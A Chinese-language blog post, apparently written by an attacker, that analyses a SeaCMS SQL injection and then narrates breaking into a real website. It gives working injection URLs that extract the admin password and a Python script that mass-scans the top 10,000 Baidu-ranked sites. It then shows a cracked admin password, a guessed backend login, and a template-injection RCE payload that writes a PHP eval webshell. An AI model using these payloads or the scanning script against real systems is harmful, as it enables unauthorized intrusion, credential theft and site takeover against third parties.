0X01海洋CMS简介#
海洋cms是为解决站长核心需求而设计的视频内容管理系统,一套程序自适应电脑、手机、平板、APP多个终端入口,无任何加密代码、安全有保障,是您最佳的建站工具。——来自seacms官网(简而言之就是专门搭建看片网站的cms)
0X02海洋CMS V9.1以下版本全版本SQL注入分析#
看到了最近tools上最新的seacms sql注入漏洞,不由得下体一硬。
干干巴巴的,cnm,必须盘他!
漏洞产生处code如下
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
if(file_exists($jsoncachefile))
{
$json=LoadFile($jsoncachefile);
die($json);
}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
createTextFile($h,$jsoncachefile);
}
die($h);
function ReadData($id,$page)
{
global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
$readData = FormatJson($ret);
return $readData;
}
function Readmlist($id,$page,$size)
{
global $dsql,$type,$pCount,$rlist;
$ml=array();
if($id>0)
{
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
$rs = $dsql ->GetOne($sqlCount);
$pCount = ceil($rs['dd']/$size);
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
$dsql->setQuery($sql);
$dsql->Execute('commentmlist');
while($row=$dsql->GetArray('commentmlist'))
{
$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
}
$readmlist=join($ml,",");
return $readmlist;
}
function Readrlist($ids,$page,$size)
{
global $dsql,$type;
$rl=array();
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
$dsql->Execute('commentrlist');
while($row=$dsql->GetArray('commentrlist'))
{
$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
$readrlist=join($rl,",");
return $readrlist;
}
漏洞成因
$rlist还未被初始化就先进入到了ReadData函数,但实际上 $rlist 可控,最终Readrlist函数造成注入
漏洞利用Exploit如下(获取管理员表中第一个用户的密码)
http://www.seacms.com/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`
Exploit2(获取管理员表中第一个用户的账号)
http://www.seacms.net/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(name)from%20sea_admin))),@`%27`
0X03实战注入利用#
拿到exp后一不做二不休,直接写了个几行脚本怼了一下百度权重排名前10000的站点:
code如下
import requests
print(" Seacms v9 SQL Injection-Author:J0o1ey")
urls = open(r"url.txt", "r")
payload = '/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`'
for url in urls:
testurl = url.strip() + payload
html = requests.get(testurl).text
if "seacms" in html:
print("[+]Exploit URL:" + testurl)
虽然比较简陋,但也够用了
发现了一个目标
https://www.***.com/comment/api/index.php?gid=1&page=2&rlist[\]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27](https://www.***.com/comment/api/index.php?gid=1&page=2&rlist[]=@`'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`')`
获取到admin用户的md5加密后的密码为b93af3cf59d757e27ca5
somd5成功解密
密码为Qq7788520
0x004成功获取后台#
拿着后台路径扫描的程序瞎jb一顿乱扫,结果并没有扫到后台
光拿到管理员账号密码,但是没有后台,那有个卵用啊。。。
但是,我眉头一皱,发现事情并不简单
前面获取到的密码是Qq7788520,这应该是管理员的什么号吧?
猜测后台为https://www.***.com/7788520
结果Duang的一下~真tmd是后台。。。。进去了
用之前注入到的账号密码,成功登录之
0x04从后台RCE到Getshell#
即使进了后台,拿不到shell的话,也是很鸡肋的,于是我便找了一下seacms公开的漏洞
最后找到了CVE-2018-14421,一个Seacms Backend的RCE
漏洞分析文章:https://www.anquanke.com/post/id/152764
按照分析文章给出的思路,注入的PHP代码是一串基于模板语法的代码,过滤时没有过滤$GLOBALS,并且可以拼接绕过
在后台编辑video的时候,在图片pic处注入代码
{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if}
利用payload是
/details/index.php?1.html&m=admin&a=assert&b=phpinfo()
当然了,不一定偏要像作者那样利用,只要在这个video的照片出现的地方通过get方式传导php代码即可
我在首页上找到了一个叫做“传说中的七公主”的video,
在后台搜索该影片后
我把它的照片链接处改为了
{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if}
随后构造参数通过fputs向根目录写入webshell:
http://www.***.com/index.php?1.html&m=admin&a=assert&b=${fputs(fopen(%27d.php%27,%27w%27),%27%3C?php%20@eval($_POST[c\])?%3E%27
成功通过RCE利用PHP的fputs函数在网站根目录下,写入了一个名为d.php的Webshell(密码为c)
高高兴兴连接之